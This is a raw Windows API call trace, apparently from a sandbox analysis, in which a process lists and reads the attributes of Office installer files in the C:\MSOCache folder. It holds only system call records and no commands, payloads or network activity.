0x9ebda0 [0042.342] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0042.358] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0042.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0042.359] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0042.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0042.359] NtClose (Handle=0x160) returned 0x0 [0042.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0042.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0042.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0042.359] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0042.384] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.385] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0042.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9ac8 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9daf28 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.386] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9ae8 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db138 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9b08 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db030 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9b28 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db660 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9b48 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db768 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9b68 [0042.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db870 [0042.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.388] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9b88 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db978 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9ba8 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dba80 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9bc8 [0042.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dbb88 [0042.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.390] GetLastError () returned 0x12 [0042.390] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0042.390] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 